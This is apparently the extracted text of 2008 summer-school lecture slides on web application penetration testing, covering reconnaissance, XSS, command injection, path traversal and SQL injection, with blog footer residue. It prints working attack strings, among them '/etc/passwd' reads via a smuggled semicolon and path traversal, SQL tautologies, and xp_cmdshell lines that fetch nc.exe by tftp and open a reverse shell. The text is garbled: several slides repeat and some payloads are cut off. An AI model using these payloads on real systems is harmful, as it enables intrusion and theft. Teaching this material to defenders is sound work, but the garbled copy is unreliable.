shared virtual spaces, logs)
MALICIOUS%20SCRIPT<
/script>">My link!
Victim executes the script on his machine when visiting
vulnerable system (efficency MySpace worm Sammy infected
1000000 machines)
Dangers:
Theft of identitity/cockies
Abuse of client machine (interception with invisible frames,
penetration of internal networks)
User tracking
Emanics Summer School, 2008 Zurich - 24 -
Injecting commands
Perl based cgi :
Valid URL
:
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt.
Attacking :
http://example /cgi-bin/showInfo.pl?name=John&template=/bin/ls|.
Executing open(FILE, "/bin/ls|")
A PHP script using exec("ls -la $dir",$lines,$rc)
;=%3B
Attacking
:http://example.com/directory.php?dir=%3Bcat%20/etc/passwd.
Emanics Summer School, 2008 Zurich - 25 -
SQL injection
HTML form is
SQL code to be executed is:
SELECT * FROM table WHERE username = '' AND password = ''
Now what happens if
Username= ‘admin' OR ‘1'=' 1 –
Password =‘ ‘
Execution is SELECT * FROM table WHERE username = ‘admin' OR 1=1 --' AND password
= '';
Emanics Summer School, 2008 Zurich - 26 -
SQL injection : the dangers
1. Data theft
1. http://mysql.example.com/query.php?user=1+union+select+@@version
,1,1,1,_1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
2. Database level rootkits (Blackhat 2006/2007)
3. Remote code execution
1. '; exec master..xp_cmdshell 'dir > C:\dir.txt'—
2. ; exec master..xp_cmdshell 'tftp –I 192.168.0.1 GET nc.exe c:\nc.exe'—
3. '; exec master..xp_cmdshell 'C:\nc.exe 192.168.0.1 53 –e cmd.exe'—
4. select 0x010203 into dumpfile '123.dll'; will create a binary file on the local
system
5. COPY dummytable FROM '/etc/passwd'; SELECT * FROM dummytable;
Penetrate the network using web applications
and servers
How is this done
1. Exploit vulnerable servers (SSL buffer
overflows, directory traversal, etc)
2. Exploit weak configurations
3. Exploit web applications
Emanics Summer School, 2008 Zurich - 3 -
Security threats and vulnerabilities
• What is Security ?
– “Security is a process not a product”, Bruce Schneier,
– “Maintaining an acceptable level of perceived risk”, Richard Bejtlich.
• What is a threat ?
– A threat is an external security issue represented by a natural or
man-made attack
• What is a vulnerability ?
– a specific degree of weakness of an individual computer or network
exposed to the influence of a threat
• What is risk ?
– A risk is the degree of probability that a disaster will occur in light of
the existing conditions, and the degree of vulnerability or weakness
present in the system. The key difference between a threat and a
risk is that a threat is related to the potential occurrence of a
security issue, whereas a risk is the probability of an incident
occurring based on the degree of exposure to a threat. Risk, for
security purposes, is usually calculated in dollars and cents.
Emanics Summer School, 2008 Zurich - 4 -
Threat Modeling
• Closely related to a specific enterprise
– Takes into account users, roles, access,
services, natural conditions etc..
• Several models exists:
– The OCTAVE approach, Carnegie Mellon
– STRIDE (Microsoft)
• Objective
– Identify the threats and assess their impact
– Produce a structural models of threats and
countermeasures.
Emanics Summer School, 2008 Zurich - 5 -
Vulnerabilities disclosure
• SANS (www.sans.org) keeps an updated viw
on the most 20 dangerous vulnerabilities
/attack targets
• CERT (Computer Emergency Response)
–Various regional/national sub groups
– Historical source of information on vulnerabilities
• Web Sites/Mailing Lists
–Milw0rm
–Secunia
– fulldisclosure
Emanics Summer School, 2008 Zurich - 6 -
Security Assessment/Penetration Testing
• Security Assessment
– identifies potential vulnerabilities, their impact
and potential impact.
– Provides a global view on the security of the
overall network and services
• Penetration Testing
– breaking into and exploiting vulnerabilities in
order to replicate an real hacker
–“Show” and very impressive
–Limited, because maybe more ways to intrude
might exist
Emanics Summer School, 2008 Zurich - 7 -
What you need to know
• Network and application level knowledge
• A keen eye, open mind and curiosity to learn how things work
• A passion for generating and analyzing error messages.
• Master the tools ….do what You want to do, not what the tools can do.
• Ethics….
• Service continuity
– Use off time business hours
– Do not test DOS attacks
• You might go to jail if your actions affect third parties not included in the contract
or national laws.
• Do not assess or perform penetration testing on networks that are not yours or
for which you don’t have a written permission
Emanics Summer School, 2008 Zurich - 8 -
What do you search
1. A communication channel
2. A username
3. A password
Remember: If you know two of them, you can
bruteforce the third.
Emanics Summer School, 2008 Zurich - 9 -
Reconnaissance gathering
• Objective : Learn the most about a network
• Who is doing it .
– Hackers going after your assets
– Script kiddies running scanners
– WORMS looking for new propagation and replication places
– Automatised attack and installation software
• What to learn about a network:
– Network topology (IP subnetworks, alive etc..)
– Firewall ACL
– Operating systems and the services/programs running
• Approaches
– « Google hacking » - use google to search for vulnerabilities :http:/
/johnny.ihackstuff.com/
– DNS and internet databases
– Scanning
• Inverse mapping for network topology
• Port scanning for OS fingerprinting and service identification
• SNMP
• Passive monitoring
Emanics Summer School, 2008 Zurich - 10 -
Reconnaissance gathering
Objective : Learn domains and real network associated to an
organisation.
Tool : Whois Databases
– Europeean IP address allocation : www.ripe.net
– US army : whois.nic.mil
– France : whois.nic.fr
Example : Discover organisation information about Loria:
whois « loria.fr » -h whois.nic.fr
Information about :
– administrative contact (can be reused in social engineering)
– Network domains, name servers and allocated IP addesses
Emanics Summer School, 2008 Zurich - 11 -
Reconnaissance gathering with DNS
Objective : Discover the network topology by DNS
interrogation.
Tools : nslookup, dig, , zone transfer tools (SAM-SPADE,
Smart-Whois, etc…)
What to discover !
– Name servers (ns entries)
– Mail servers (mx entries)
– Any IP and names visible
– HINFO records about systems
• Reverse DNS for more stealth
Emanics Summer School, 2008 Zurich - 12 -
Exploiting web servers and configuration
Software :
• A server is just a piece of software, therefore it
can be broken if software is not well written
• Famous examples
– SSL buffer overflows against Apache
– Directory traversal against ISS and Apache :
www.vulnerable.com/../../../../../../../etc/passwd
• Configuration
– Files with confidential information on the server (google
hacking with ext:xls...)
– Unprotected sensible zones
– Security by Obscurity
Emanics Summer School, 2008 Zurich - 13 -
Exploiting web applications
Major causes of threads:
• Programmers are busy, not well trained on security
and sometimes lazy
• Security by obscurity
• Multiple programming languages and character
formats
• Integration of multiple applications (web fronat,
database servers, and programming
environments)
Emanics Summer School, 2008 Zurich - 14 -
What are the major 10 threats ? OWASP
• A1 – Unvalidated Input
• A2 – Broken Access Control
• A3 – Broken Authentication and Session
Management
• A4 – Cross Site Scripting (XSS) Flaws
• A5 – Buffer Overflows
• A6 – Injection Flaws
• A7 – Improper Error Handling
• A8 – Insecure Storage
• A9 – Denial of Service (DoS)
• A10 – Insecure Configuration Management
Emanics Summer School, 2008 Zurich - 15 -
What are the major threats ? WASC
1. Authentication
Brute Force
Insufficient Authentication
Weak Password Recovery Validation
2. Authorization
Credential/Session Prediction
Insufficient Authorization
Insufficient Session Expiration
Session Fixation
3. Client-Side Attacks
Content Spoofing
Cross-site Scripting
4. Command Execution
Buffer Overflow
Format String Attack
LDAP Injection
OS Commanding
SQL Injection 4.6 SSI Injection 4.7 XPath Injection
5. Information Disclosures
Directory Indexing
Information Leakage
Path Traversal
Predictable Resource Location
6. Logical Attacks
Abuse of Functionality
Denial of Service
Insufficient Anti-automation Insufficient Process Validation
Emanics Summer School, 2008 Zurich - 16 -
Input Validation
• Can you find any limitations in the defined/used variables and protocol
payload, that is, accepted data length, accepted data types, data formats,
and so on?
• Use exceptionally long character-strings to find buffer overflow vulnerability in
the application code base or the web server itself.
• Use concatenation techniques in the input strings to try to get the target
application to behave incorrectly.
• Inject specially crafted SQL statements in the input strings
• Force Cross-Site Scripting (XSS) functionality
• Look for unauthorized directory or file access with path or directory traversal
in the input strings of the target application.
• Try using specific URL-encoded strings and Unicode-encoded strings to
bypass input validation mechanisms used within the target application.
• Use of server-side includes, try executing remote commands.
• Manipulate the session management techniques to fool Try to manipulate
(hidden) field variables in HTML forms to fool server-side logic.
• Manipulate the “Referrer” value in the HTTP “Host” header in order to fool or
modify server-side logic.
• Try to force illogical or illegal input so as to test the target’s error-handling
routines.
Emanics Summer School, 2008 Zurich - 17 -
Input Validation pentesting
Inject server side script :
http://example.com/index.php=.
Execute other commands:
http://example.com/foo.pl?page=../../../../bin/ls%20-las%20/home|.
Bypass filtering mechanisms when Perl and C use other coventions:
http://example.com/foo.pl?page=../../../../etc/passwd%00html
Path traversal
http://example.com/index.php?file=../../../etc/passwd
Use alternate character sets
• ..%u2215 : Unicode encoded backward slash character
• ..%c0%af : UTF-8 encoded forward slash character
Emanics Summer School, 2008 Zurich - 18 -
Breaking Access Control
• How is the app administrated? By how many people? And what gives
them that right above regular app users?
• How are changes made to content? How are these changes
published to production?
• How many people have publishing rights? How are those rights
determined, established, and enforced?
• Is there a QA testing and verification process for content?
• How are changes made to the app? How are these changes
published to production?
• How many people can touch the app to publish new or updated
code? Are they developers? How are those rights determined,
established, and enforced?
• Is there a QA testing and verification process for app modifications?
• Is any of the publishing or deploying done remotely? If so, how?
• How is the DB maintained and administrated? By how many people?
Do the DBAs have remote access to the DB server(s)?
• Is the app segmented by access control or is there one blanket group
with publishing rights?
Emanics Summer School, 2008 Zurich - 19 -
Breaking Authentication
Attempt to concretely ascertain the authentication
mechanism that is in place
Verify that said mechanism is being used uniformly
across all sensitive resources
Verify how this mechanism is being applied to all the
resources within the Web application
Emanics Summer School, 2008 Zurich - 20 -
Web Authentication
Types of authentication
1. Basic Authentication with username send almost
in clear –base64 encoded)
2. HTTP digest using M5 cryptographic hashes
3. HTML forms (using maybe an additional databa)
4. Windows specific (NTLM kind of)
Breaking authentication
Brute force (using brutus)
Database SQL injection
Hacking the session management
Emanics Summer School, 2008 Zurich - 21 -
Hacking the sessions
How are sessions maintained ?
1. Using a mixture of headers (referer, url, IP source) and
cockies (most cases an encrypted and time stamp based
system)
2. Sometimes with hidden HTML field
Breaking sessions
Detecting the predictability of session generation mechanism
Examples: Easy to break;
http://example.com/
http://example.com/
Not so easy
https://example.com/login.jsp?token=E7F8C189-728F-46EA-A3FE-FABA5B9384D0
https://example.com/login.jsp?token=A5BD2BBA-311D-4625-A218-8AC51C7AB688
Emanics Summer School, 2008 Zurich - 22 -
Hacking the sessions
Session reuse where an old session ID can be replayed.
Session fixation where an attacker initiates a session and
somehow convinces the victim to connect using this session
By email/roque server
Don't Click here!!
By Javascript injection: Jikto
Emanics Summer School, 2008 Zurich - 23 -
XSS Cross site scripting
Hacker injects scripts in vulnerable applications (forums, online
shared virtual spaces, logs)
/script>">My link!
Victim executes the script on his machine when visiting
vulnerable system (efficency MySpace worm Sammy infected
1000000 machines)
Dangers:
Theft of identitity/cockies
Abuse of client machine (interception with invisible frames,
penetration of internal networks)
User tracking
Emanics Summer School, 2008 Zurich - 24 -
Injecting commands
Perl based cgi :
Valid URL
:
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt.
Attacking :
http://example /cgi-bin/showInfo.pl?name=John&template=/bin/ls|.
Executing open(FILE, "/bin/ls|")
A PHP script using exec("ls -la $dir",$lines,$rc)
;=%3B
Attacking
:http://example.com/directory.php?dir=%3Bcat%20/etc/passwd.
Emanics Summer School, 2008 Zurich - 25 -
SQL injection
HTML form is
SQL code to be executed is:
SELECT * FROM table WHERE username = '
Now what happens if
Username= ‘admin' OR ‘1'=' 1 –
Password =‘ ‘
Execution is SELECT * FROM table WHERE username = ‘admin' OR 1=1 --' AND password
= '';
Emanics Summer School, 2008 Zurich - 26 -
SQL injection : the dangers
1. Data theft
1. http://mysql.example.com/query.php?user=1+union+select+@@version
,1,1,1,_1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
2. Database level rootkits (Blackhat 2006/2007)
3. Remote code execution
1. '; exec master..xp_cmdshell 'dir > C:\dir.txt'—
2. ; exec master..xp_cmdshell 'tftp –I 192.168.0.1 GET nc.exe c:\nc.exe'—
3. '; exec master..xp_cmdshell 'C:\nc.exe 192.168.0.1 53 –e cmd.exe'—
4. select 0x010203 into dumpfile '123.dll'; will create a binary file on the local
system
5. COPY dummytable FROM '/etc/passwd'; SELECT * FROM dummytable;
Subscribe to:
Posts (Atom)
Hello, user!
Anyone up for a party?